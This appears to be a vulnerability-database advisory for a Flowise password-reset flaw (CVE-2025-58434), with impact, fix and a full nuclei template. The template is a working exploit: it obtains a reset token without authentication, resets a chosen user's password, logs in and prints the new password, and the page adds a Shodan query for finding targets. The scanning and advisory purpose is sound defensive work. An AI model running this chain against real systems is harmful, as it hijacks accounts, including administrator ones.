Browse / CVEs / CVE-2025-58434
CVE-2025-58434· CWE-306
Flowise <= 3.0.5 - Account Takeover
criticalseverity
9.8CVSS score
83.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
Impact
Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.
Fix
Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.
How to confirm it
Send: POST /api/v1/account/forgot-password
Positive when: status_code == 201
Send: POST /api/v1/account/reset-password
Positive when: status_code == 201
Send: POST /api/v1/auth/login
Positive when: status_code == 200 and contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')Run it with nuclei: nuclei -id CVE-2025-58434 -u <target>
The full check
id: CVE-2025-58434
info:
name: Flowise <= 3.0.5 - Account Takeover
author: nukunga[seunghyeonJeon]
severity: critical
description: |
Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
impact: |
Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.
remediation: |
Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.
reference:
- https://github.com/advisories/GHSA-wgpv-6j63-x5ph
- https://nvd.nist.gov/vuln/detail/CVE-2025-58434
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-58434
epss-score: 0.82585
epss-percentile: 0.99668
cwe-id: CWE-306
metadata:
verified: true
shodan-query: http.title:"Flowise - Build AI Agents, Visually"
tags: cve,cve2025,flowise,ato,rce,unauth,vuln,ai
variables:
username: "{{username}}"
new_password: "{{rand_text_alphanumeric(12)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/v1/account/forgot-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user":{"email":"{{username}}"}}
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- '"tempToken":"([A-Za-z0-9]{64})"'
internal: true
matchers:
- type: dsl
dsl:
- status_code == 201
internal: true
- raw:
- |
POST /api/v1/account/reset-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user": {
"email": "{{username}}",
"tempToken": "{{token}}",
"password": "{{new_password}}"
}
}
matchers:
- type: dsl
dsl:
- status_code == 201
internal: true
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"email": "{{username}}",
"password": "{{new_password}}"
}
matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')
condition: and
extractors:
- type: dsl
dsl:
- '"Password:" + new_password'References
Use this check only on systems you are authorised to test. Where the data comes from